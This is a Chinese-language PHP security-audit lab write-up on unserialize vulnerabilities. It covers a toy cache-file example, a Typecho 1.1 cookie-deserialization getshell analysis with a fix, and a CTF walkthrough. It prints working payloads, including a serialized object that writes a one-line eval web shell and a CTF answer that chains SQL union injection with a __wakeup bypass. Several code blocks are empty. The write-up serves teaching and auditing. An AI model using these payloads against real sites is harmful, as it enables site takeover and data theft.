PHP-Audit-Labs
项目地址:https://www.ripstech.com/php-security-calendar-2017/
1 |
|
- 首先观察
unserialize
反序列化函数,此时看到loadData
函数对传入的$data
进行判断。 - 接着观察传入
$data
参数的__construct()
构造函数 - 在
37行
中对Templete
进行实例化,并将 cookie 中键为'data'数据作为初始化数据进行传入 - 对传入的
cookie
进行控制 - 在代码32行,对象销毁时会调用 createCache() 函数,函数将
$template
中的内容放到了$cacheFile
对应的文件中。file_put_contents() 函数,当文件不存在时,会创建该文件。由此可构造一句话,写入当前路径。 $cacheFile
和$template
为类变量,反序列化可控- 构造以下反序列化内容,别忘了加'+'号
构造payload:
1 |
|
运行结果:
1 | a:1:{i:0;O:8:"Template":2:{s:9:"cacheFile";s:9:"/test.php";s:8:"template";s:28:"<?php eval($_POST[xxxxx]);?>";}} |
生成test.php
内容为<?php eval($_POST[xxxxx]);?>
实例分析
本次实例分析,选取的是 Typecho-1.1 版本,在该版本中,用户可通过反序列化Cookie数据进行前台Getshell。该漏洞出现于 install.php 文件 230行 ,具体代码如下:
1 |
|
在install.php
前面几行我们可以查看到判断条件
1 | //判断是否已经安装 |
- 第一个if判断,可通过GET传递 finish=任意值 绕过
- 第二if判断是否有GET或者POST传参,并判断Referer是否为空
- 第四个if判断Referer是否为本站点
在213行
接着进行判断
- 第一个if判断 $_GET['finish'] 是否设置
- 然后判断 config.inc.php文件 是否存在
- 安装后已存在,第三个判断cookie中 __typecho_config 参数是否为空,不为空。进入else分支。
综上,具体构造如下图:
1 | $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config'))); |
- 反序列化结果存储到 $config 变量中
- 然后将 $config['adapter'] 和 $config['prefix'] 作为 Typecho_Db类的初始化变量创建类实例。
我们可以在 var/Typecho/Db.php 文件中找到该类构造函数代码,具体如下:
上图代码 第120行 ,对传入的 $adapterName 变量进行了字符串拼接操作,对于PHP而言,如果 $adapterName 类型为对象,则会调用该类 __toString() 魔术方法。可作为反序列化的一个触发点,我们全局搜索一下 __toString() ,查看是否有可利用的点。实际搜索时,会发现有三个类都定义了 __toString() 方法:
- 第一处 var\Typecho\Config.php:
1 | public function __toString() |
调用 serialize() 函数进行序列化操作,会自动触发 __sleep() ,如果存在可利用的 __sleep() ,则可以进一步利用。
- 第二处 var\Typecho\Db\Query.php:
该方法用于构建SQL语句,并没有执行数据库操作,所以暂无利用价值。
第三处var\Typecho\Feed.php:
在代码 237行 , $this->_items 为类变量,反序列化可控,在代码 358行 , $item['author']->screenName,如果 $item['author'] 中存储的类没有'screenName'属性或该属性为私有属性,此时会触发该类中的 __get() 魔法方法,这个可作为进一步利用的点,继续往下看代码,未发现有危险函数的调用。
记一波魔术方法及对应的触发条件,具体如下:
1 | __wakeup() //使用unserialize时触发 |
在 var/Typecho/Request.php 的 Typecho_Request 类中,我们发现 __get() 方法,跟踪该方法的调用,具体如下:
1 | public function __get($key) |
array_map() 函数和 call_user_func 函数,都可以作为利用点
$filter 作为调用函数,$value 为函数参数,跟踪变量,看一下是否可控。这两个变量都来源于类变量,反序列化可控。从上面的分析中,可知当 $item['author'] 满足一定条件会触发 __get 方法。
假设 $item['author'] 中存储 Typecho_Request 类实例,此时调用 $item['author']->screenName ,在Typecho_Request 类中没有该属性,就会调用类中的 __get($key) 方法,$key 传入的值为 scrrenName 。
参数传递过程如下:$key='scrrenName'
=>$this->_param[$key]
=>$value
我们将 $this->_param['scrrenName'] 的值设置为想要执行的函数,构造 $this->_filter 为对应函数的参数值,具体构造如下:
接下来我们去看一下 Typecho_Feed 类的构造,该类在 var/Typecho/Feed.php 文件中,代码如下:
上图代码 第7行 ,满足 self::RSS2 与 $this->_type 相等进入该分支,所以 $this->_type 需要构造,item['author'] 为触发点,需要构造 $this_items ,具体构造如下:
代码 22行 在实际利用没必要添加,install.php在代码 54行 调用 ob_start() 函数,该函数对输出内容进行缓冲,反序列化漏洞利用结束后,在var\Typecho\Db.php代码121行,触发异常,在 var\Typecho\Common.php 代码237行调用 ob_end_clean()函数 清除了缓冲区内容,导致无法看见执行结果,考虑在进入到异常处理前提前报错结束程序。由此构造该数据。执行结果如下:
修复建议
造成该漏洞的原因主要有两点:
- 当 config.inc.php 文件存在的时,可绕过判断继续往下执行代码。
- 传入反序列化函数的参数可控
修复方法:在 install.php 文件第一行判断 config.inc.php 是否存在,如果存在,则退出代码执行。
1 |
|
CTF
index.php
1 |
|
config.php
1 |
|
flag.php
1 |
|
这道题主要考察对php反序列化函数的利用,以及常见的绕过方法。
访问flag.php,显示禁止访问,题目默认显示源码,在下图代码57行,数据库查询内容不为空的情况下,定义常量IN_FLAG,猜测需要满足该条件才能访问flag.php。然后调用loadData函数。
loadData函数,对传入参数进行判断,如果验证通过,则作为参数传入到反序列化函数,验证不通过返回为空,该判断绕过可参考Day11,传入内容来源于数据库查询结果,此时可考虑如何构造数据库查询结果。
在index.php页面显示源码中,我们发现SoFun类,如下图,在__destruct()函数中,会对类变量$this->file所对应的文件进行包含,类变量反序列化可控,在loadData函数调用前,对IN_FLAG常量进行了设置,如果loadData函数传入参数值为SoFun类反序列化字符串,且控制类变量$this->file=flag.php,则可以包含flag.php文件,此时'IN_FLAG'已经设置,可获取到flag,需考虑绕过__wakeup函数。
考虑如何控制loadData函数传入参数的值,从下图可知,$obj->role来源于数据库查询结果,而构建sql语句的username字段来源于$username,$username变量来源于func_get_args()函数,该函数返回包含调用函数参数列表的数组,如果login()函数传入参数可控,可通过union联合查询,构造查询结果,使构造数据为SoFun类序列化字符串。我们去看一下login函数的调用。
在HITCON类__destruct方法中,通过call_user_func_array()函数调用login或source方法,如果$this->method='login'则可以调用login()函数,$this->method为类变量,反序列化可控。$this->args为调用函数传入参数,意味着login函数中$username变量可控,此时可通过SQL注入,构造查询数据。
在进行反序列化时,会调用__wakeup对类变量args进行处理,此时调用mysql_escape_string函数对$this->args进行转义。可通过CVE-2016-7124,序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。绕过检测,进行sql注入。
总结一下思路:
1.构造HITCON类反序列化字符串,其中$method='login',$args数组'username'部分可用于构造SQL语句,进行SQL注入,'password'部分任意设置。
2.调用login()函数后,利用$username构造联合查询,使查询结果为SoFun类反序列化字符串,设置$file='flag.php',需绕过__wakeup()函数。
3.绕过LoadData()函数对反序列化字符串的验证,参考Day11。
4.SoFun类 __destruct()函数调用后,包含flag.php文件,获取flag,需绕过__wakeup()函数。
第二个答案是另一种思路,大家可研究一下。
注:因为传参方式为GET,注意进行URL编码。
参考答案:
1 | O:6:"HITCON":3:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:81:"1' union select 1,2,'a:1:{s:2:"xx";O:%2b5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'%23";s:8:"password";s:3:"234";}} |